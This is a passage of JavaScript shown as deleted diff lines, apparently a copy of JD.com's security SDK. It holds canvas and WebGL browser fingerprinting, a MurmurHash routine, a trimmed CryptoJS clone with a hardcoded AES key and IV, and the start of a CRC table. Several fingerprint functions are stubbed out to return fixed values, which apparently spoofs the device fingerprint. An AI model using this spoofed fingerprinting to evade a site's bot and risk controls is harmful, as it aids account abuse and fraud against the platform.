try { - return !!window.localStorage - } catch (a) { - return !0 - } - }, - hasIndexedDB: function () { - return true - return !!window.indexedDB - }, - getNavigatorCpuClass: function () { - return navigator.cpuClass ? navigator.cpuClass : "NA" - }, - getNavigatorPlatform: function () { - return navigator.platform ? navigator.platform : "NA" - }, - getHardwareConcurrency: function () { - return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" - }, - getDoNotTrack: function () { - return navigator.doNotTrack ? navigator.doNotTrack : "NA" - }, - getCanvasFp: function () { - return ''; - var a = navigator.userAgent.toLowerCase(); - if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a - .indexOf("ipad"))) return null; - a = document.createElement("canvas"); - var b = a.getContext("2d"); - b.fillStyle = "red"; - b.fillRect(30, 10, 200, 100); - b.strokeStyle = "#1a3bc1"; - b.lineWidth = 6; - b.lineCap = "round"; - b.arc(50, 50, 20, 0, Math.PI, !1); - b.stroke(); - b.fillStyle = "#42e1a2"; - b.font = "15.4px 'Arial'"; - b.textBaseline = "alphabetic"; - b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); - b.shadowOffsetX = 1; - b.shadowOffsetY = 2; - b.shadowColor = "white"; - b.fillStyle = "rgba(0, 0, 200, 0.5)"; - b.font = "60px 'Not a real font'"; - b.fillText("No\u9a97", 40, 80); - return a.toDataURL() - }, - getWebglFp: function () { - var a = navigator.userAgent; - a = a.toLowerCase(); - if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a - .indexOf("ipad"))) return null; - a = function (D) { - b.clearColor(0, 0, 0, 1); - b.enable(b.DEPTH_TEST); - b.depthFunc(b.LEQUAL); - b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); - return "[" + D[0] + ", " + D[1] + "]" - }; - var b = this.getWebglCanvas(); - if (!b) return null; - var c = [], - l = b.createBuffer(); - b.bindBuffer(b.ARRAY_BUFFER, l); - var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); - b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); - l.itemSize = 3; - l.numItems = 3; - h = b.createProgram(); - var q = b.createShader(b.VERTEX_SHADER); - b.shaderSource(q, - "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" - ); - b.compileShader(q); - var z = b.createShader(b.FRAGMENT_SHADER); - b.shaderSource(z, - "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" - ); - b.compileShader(z); - b.attachShader(h, q); - b.attachShader(h, z); - b.linkProgram(h); - b.useProgram(h); - h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); - h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); - b.enableVertexAttribArray(h.vertexPosArray); - b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); - b.uniform2f(h.offsetUniform, 1, 1); - b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); - null != b.canvas && c.push(b.canvas.toDataURL()); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); - c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); - c.push("w3" + b.getParameter(b.ALPHA_BITS)); - c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); - c.push("w5" + b.getParameter(b.BLUE_BITS)); - c.push("w6" + b.getParameter(b.DEPTH_BITS)); - c.push("w7" + b.getParameter(b.GREEN_BITS)); - c.push("w8" + function (D) { - var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( - "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( - "MOZ_EXT_texture_filter_anisotropic"); - return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), - B) : null - }(b)); - c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); - c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); - c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); - c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); - c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); - c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); - c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); - c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); - c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); - c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); - c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); - c.push("w20" + b.getParameter(b.RED_BITS)); - c.push("w21" + b.getParameter(b.RENDERER)); - c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); - c.push("w23" + b.getParameter(b.STENCIL_BITS)); - c.push("w24" + b.getParameter(b.VENDOR)); - c.push("w25" + b.getParameter(b.VERSION)); - try { - var C = b.getExtension("WEBGL_debug_renderer_info"); - C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( - C.UNMASKED_RENDERER_WEBGL))) - } catch (D) { - } - return c.join("\u00a7") - }, - isCanvasSupported: function () { - return true; - var a = document.createElement("canvas"); - return !(!a.getContext || !a.getContext("2d")) - }, - isIE: function () { - return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && - /Trident/.test(navigator.userAgent) ? !0 : !1 - }, - getWebglCanvas: function () { - return null; - var a = document.createElement("canvas"), - b = null; - try { - var c = navigator.userAgent; - c = c.toLowerCase(); - (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c - .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) - } catch (l) { - } - b || (b = null); - return b - }, - each: function (a, b, c) { - if (null !== a) - if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); - else if (a.length === +a.length) - for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++) ; - else - for (l in a) - if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break - }, - map: function (a, b, c) { - var l = []; - if (null == a) return l; - if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); - this.each(a, function (h, q, z) { - l[l.length] = b.call(c, h, q, z) - }); - return l - }, - x64Add: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] + b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] + b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] + b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] + b[0]; - c[0] &= 65535; - return [c[0] << 16 | c[1], c[2] << 16 | c[3]] - }, - x64Multiply: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] * b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] * b[3]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[2] += a[3] * b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] * b[3]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[2] * b[2]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[3] * b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; - c[0] &= 65535; - return [c[0] << 16 | c[1], c[2] << 16 | c[3]] - }, - x64Rotl: function (a, b) { - b %= 64; - if (32 === b) return [a[1], a[0]]; - if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; - b -= 32; - return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] - }, - x64LeftShift: function (a, b) { - b %= 64; - return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] - }, - x64Xor: function (a, b) { - return [a[0] ^ b[0], a[1] ^ b[1]] - }, - x64Fmix: function (a) { - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [4283543511, 3981806797]); - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [3301882366, 444984403]); - return a = this.x64Xor(a, [0, a[0] >>> 1]) - }, - x64hash128: function (a, b) { - a = a || ""; - b = b || 0; - var c = a.length % 16, - l = a.length - c, - h = [0, b]; - b = [0, b]; - for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) - q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & - 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( - B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << - 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( - B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & - 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( - B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = - this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, - b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( - z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = - this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, - 944331445]); - q = [0, 0]; - z = [0, 0]; - switch (c) { - case 15: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); - case 14: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); - case 13: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); - case 12: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); - case 11: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); - case 10: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); - case 9: - z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( - z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); - case 8: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); - case 7: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); - case 6: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); - case 5: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); - case 4: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); - case 3: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); - case 2: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); - case 1: - q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( - q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) - } - h = this.x64Xor(h, [0, a.length]); - b = this.x64Xor(b, [0, a.length]); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - h = this.x64Fmix(h); - b = this.x64Fmix(b); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( - 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ - 1] >>> 0).toString(16)).slice(-8) - } - }; -} - -var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { - var v = {}, - x = v.lib = {}, - w = x.Base = function () { - function g() { - } - - return { - extend: function (m) { - g.prototype = this; - var a = new g; - m && a.mixIn(m); - a.hasOwnProperty("init") || (a.init = function () { - a.$super.init.apply(this, arguments) - }); - a.init.prototype = a; - a.$super = this; - return a - }, - create: function () { - var m = this.extend(); - m.init.apply(m, arguments); - return m - }, - init: function () { - }, - mixIn: function (m) { - for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); - m.hasOwnProperty("toString") && (this.toString = m.toString) - }, - clone: function () { - return this.init.prototype.extend(this) - } - } - }(), - A = x.WordArray = w.extend({ - init: function (g, m) { - g = this.words = g || []; - this.sigBytes = m != u ? m : 4 * g.length - }, - toString: function (g) { - return (g || n).stringify(this) - }, - concat: function (g) { - var m = this.words, - a = g.words, - b = this.sigBytes; - g = g.sigBytes; - this.clamp(); - if (b % 4) - for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << - 24 - (b + c) % 4 * 8; - else if (65535 < a.length) - for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; - else m.push.apply(m, a); - this.sigBytes += g; - return this - }, - clamp: function () { - var g = this.words, - m = this.sigBytes; - g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; - g.length = t.ceil(m / 4) - }, - clone: function () { - var g = w.clone.call(this); - g.words = this.words.slice(0); - return g - }, - random: function (g) { - for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); - return new A.init(m, g) - } - }); - x.UUID = w.extend({ - generateUuid: function () { - for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) - switch (g[m]) { - case "x": - g[m] = t.floor(16 * t.random()).toString(16); - break; - case "y": - g[m] = (t.floor(4 * t.random()) + 8).toString(16) - } - return g.join("") - } - }); - var y = v.enc = {}, - n = y.Hex = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - var a = []; - for (var b = 0; b < g; b++) { - var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; - a.push((c >>> 4).toString(16)); - a.push((c & 15).toString(16)) - } - return a.join("") - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << - 24 - b % 8 * 4; - return new A.init(a, m / 2) - } - }, - e = y.Latin1 = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & - 255)); - return a.join("") - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - - b % 4 * 8; - return new A.init(a, m) - } - }, - f = y.Utf8 = { - stringify: function (g) { - try { - return decodeURIComponent(escape(e.stringify(g))) - } catch (m) { - throw Error("Malformed UTF-8 data"); - } - }, - parse: function (g) { - return e.parse(unescape(encodeURIComponent(g))) - } - }, - r = x.BufferedBlockAlgorithm = w.extend({ - reset: function () { - this._data = new A.init; - this._nDataBytes = 0 - }, - _append: function (g) { - "string" == typeof g && (g = f.parse(g)); - this._data.concat(g); - this._nDataBytes += g.sigBytes - }, - _process: function (g) { - var m = this._data, - a = m.words, - b = m.sigBytes, - c = this.blockSize, - l = b / (4 * c); - l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); - g = l * c; - b = t.min(4 * g, b); - if (g) { - for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); - h = a.splice(0, g); - m.sigBytes -= b - } - return new A.init(h, b) - }, - clone: function () { - var g = w.clone.call(this); - g._data = this._data.clone(); - return g - }, - _minBufferSize: 0 - }); - x.Hasher = r.extend({ - cfg: w.extend(), - init: function (g) { - this.cfg = this.cfg.extend(g); - this.reset() - }, - reset: function () { - r.reset.call(this); - this._doReset() - }, - update: function (g) { - this._append(g); - this._process(); - return this - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize() - }, - blockSize: 16, - _createHelper: function (g) { - return function (m, a) { - return (new g.init(a)).finalize(m) - } - }, - _createHmacHelper: function (g) { - return function (m, a) { - return (new k.HMAC.init(g, a)).finalize(m) - } - } - }); - var k = v.algo = {}; - v.channel = {}; - return v -}(Math); -JDDSecCryptoJS.lib.Cipher || function (t) { - var u = JDDSecCryptoJS, - v = u.lib, - x = v.Base, - w = v.WordArray, - A = v.BufferedBlockAlgorithm, - y = v.Cipher = A.extend({ - cfg: x.extend(), - createEncryptor: function (g, m) { - return this.create(this._ENC_XFORM_MODE, g, m) - }, - createDecryptor: function (g, m) { - return this.create(this._DEC_XFORM_MODE, g, m) - }, - init: function (g, m, a) { - this.cfg = this.cfg.extend(a); - this._xformMode = g; - this._key = m; - this.reset() - }, - reset: function () { - A.reset.call(this); - this._doReset() - }, - process: function (g) { - this._append(g); - return this._process() - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize() - }, - keySize: 4, - ivSize: 4, - _ENC_XFORM_MODE: 1, - _DEC_XFORM_MODE: 2, - _createHelper: function () { - function g(m) { - if ("string" != typeof m) return k - } - - return function (m) { - return { - encrypt: function (a, b, c) { - return g(b).encrypt(m, a, b, c) - }, - decrypt: function (a, b, c) { - return g(b).decrypt(m, a, b, c) - } - } - } - }() - }); - v.StreamCipher = y.extend({ - _doFinalize: function () { - return this._process(!0) - }, - blockSize: 1 - }); - var n = u.mode = {}, - e = v.BlockCipherMode = x.extend({ - createEncryptor: function (g, m) { - return this.Encryptor.create(g, m) - }, - createDecryptor: function (g, m) { - return this.Decryptor.create(g, m) - }, - init: function (g, m) { - this._cipher = g; - this._iv = m - } - }); - n = n.CBC = function () { - function g(a, b, c) { - var l = this._iv; - l ? this._iv = t : l = this._prevBlock; - for (var h = 0; h < c; h++) a[b + h] ^= l[h] - } - - var m = e.extend(); - m.Encryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize; - g.call(this, a, b, l); - c.encryptBlock(a, b); - this._prevBlock = a.slice(b, b + l) - } - }); - m.Decryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize, - h = a.slice(b, b + l); - c.decryptBlock(a, b); - g.call(this, a, b, l); - this._prevBlock = h - } - }); - return m - }(); - var f = (u.pad = {}).Pkcs7 = { - pad: function (g, m) { - m *= 4; - m -= g.sigBytes % m; - for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); - m = w.create(b, m); - g.concat(m) - }, - unpad: function (g) { - g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 - } - }; - v.BlockCipher = y.extend({ - cfg: y.cfg.extend({ - mode: n, - padding: f - }), - reset: function () { - y.reset.call(this); - var g = this.cfg, - m = g.iv; - g = g.mode; - if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; - else a = g.createDecryptor, this._minBufferSize = 1; - this._mode = a.call(g, this, m && m.words) - }, - _doProcessBlock: function (g, m) { - this._mode.processBlock(g, m) - }, - _doFinalize: function () { - var g = this.cfg.padding; - if (this._xformMode == this._ENC_XFORM_MODE) { - g.pad(this._data, this.blockSize); - var m = this._process(!0) - } else m = this._process(!0), g.unpad(m); - return m - }, - blockSize: 4 - }); - var r = v.CipherParams = x.extend({ - init: function (g) { - this.mixIn(g) - }, - toString: function (g) { - return (g || this.formatter).stringify(this) - } - }); - u.format = {}; - var k = v.SerializableCipher = x.extend({ - cfg: x.extend({}), - encrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - var c = g.createEncryptor(a, b); - m = c.finalize(m); - c = c.cfg; - return r.create({ - ciphertext: m, - key: a, - iv: c.iv, - algorithm: g, - mode: c.mode, - padding: c.padding, - blockSize: g.blockSize, - formatter: b.format - }) - }, - decrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - m = this._parse(m, b.format); - return g.createDecryptor(a, b).finalize(m.ciphertext) - }, - _parse: function (g, m) { - return "string" == typeof g ? m.parse(g, this) : g - } - }) -}(); -(function () { - var t = JDDSecCryptoJS, - u = t.lib.BlockCipher, - v = t.algo, - x = [], - w = [], - A = [], - y = [], - n = [], - e = [], - f = [], - r = [], - k = [], - g = []; - (function () { - for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; - var c = 0, - l = 0; - for (b = 0; 256 > b; b++) { - var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; - h = h >>> 8 ^ h & 255 ^ 99; - x[c] = h; - w[h] = c; - var q = a[c], - z = a[q], - C = a[z], - D = 257 * a[h] ^ 16843008 * h; - A[c] = D << 24 | D >>> 8; - y[c] = D << 16 | D >>> 16; - n[c] = D << 8 | D >>> 24; - e[c] = D; - D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; - f[h] = D << 24 | D >>> 8; - r[h] = D << 16 | D >>> 16; - k[h] = D << 8 | D >>> 24; - g[h] = D; - c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 - } - })(); - var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; - v = v.AES = u.extend({ - _doReset: function () { - var a = this._key, - b = a.words, - c = a.sigBytes / 4; - a = 4 * ((this._nRounds = c + 6) + 1); - for (var l = this._keySchedule = [], h = 0; h < a; h++) - if (h < c) l[h] = b[h]; - else { - var q = l[h - 1]; - h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ - q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << - 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / - c | 0] << 24); - l[h] = l[h - c] ^ q - } - b = this._invKeySchedule = []; - for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : - f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] - }, - encryptBlock: function (a, b) { - this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) - }, - decryptBlock: function (a, b) { - var c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); - c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c - }, - _doCryptBlock: function (a, b, c, l, h, q, z, C) { - for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = - a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { - var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], - K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], - L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; - G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; - B = J; - F = K; - H = L - } - J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ - I++]; - K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ - I++]; - L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ - I++]; - G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ - I++]; - a[b] = J; - a[b + 1] = K; - a[b + 2] = L; - a[b + 3] = G - }, - keySize: 8 - }); - t.AES = u._createHelper(v) -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib, - v = u.WordArray, - x = u.Hasher, - w = []; - u = t.algo.SHA1 = x.extend({ - _doReset: function () { - this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) - }, - _doProcessBlock: function (A, y) { - for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > - m; m++) { - if (16 > m) w[m] = A[y + m] | 0; - else { - var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; - w[m] = a << 1 | a >>> 31 - } - a = (e << 5 | e >>> 27) + g + w[m]; - a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + - 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ - k) - 899497514); - g = k; - k = r; - r = f << 30 | f >>> 2; - f = e; - e = a - } - n[0] = n[0] + e | 0; - n[1] = n[1] + f | 0; - n[2] = n[2] + r | 0; - n[3] = n[3] + k | 0; - n[4] = n[4] + g | 0 - }, - _doFinalize: function () { - var A = this._data, - y = A.words, - n = 8 * this._nDataBytes, - e = 8 * A.sigBytes; - y[e >>> 5] |= 128 << 24 - e % 32; - y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); - y[(e + 64 >>> 9 << 4) + 15] = n; - A.sigBytes = 4 * y.length; - this._process(); - return this._hash - }, - clone: function () { - var A = x.clone.call(this); - A._hash = this._hash.clone(); - return A - } - }); - t.SHA1 = x._createHelper(u); - t.HmacSHA1 = x._createHmacHelper(u) -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.channel; - u.Downlink = { - deBase32: function (v) { - if (void 0 == v || "" == v || null == v) return ""; - var x = t.enc.Hex.parse("30313233343536373839616263646566"), - w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); - return t.AES.decrypt({ - ciphertext: t.enc.Base32.parse(v) - }, w, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: x - }).toString(t.enc.Utf8) - }, - deBase64: function (v) { - return "" - } - }; - u.Uplink = { - enAsBase32: function (v) { - return "" - }, - enAsBase64: function (v) { - return "" - } - } -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib.WordArray; - t.enc.Base32 = { - stringify: function (v) { - var x = v.words, - w = v.sigBytes, - A = this._map; - v.clamp(); - v = []; - for (var y = 0; y < w; y += 5) { - for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; - n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | - n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << - 3 | n[4] >>> 5 & 7, n[4] & 31]; - for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) - } - if (x = A.charAt(32)) - for (; v.length % 8;) v.push(x); - return v.join("") - }, - parse: function (v) { - var x = v.length, - w = this._map, - A = w.charAt(32); - A && (A = v.indexOf(A), -1 != A && (x = A)); - A = []; - for (var y = 0, n = 0; n < x; n++) { - var e = n % 8; - if (0 != e && 2 != e && 5 != e) { - var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, - r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; - e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); - A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; - y++ - } - } - return u.create(A, y) - }, - _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" - } -})(); - -class JDDMAC { - static t() { - return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 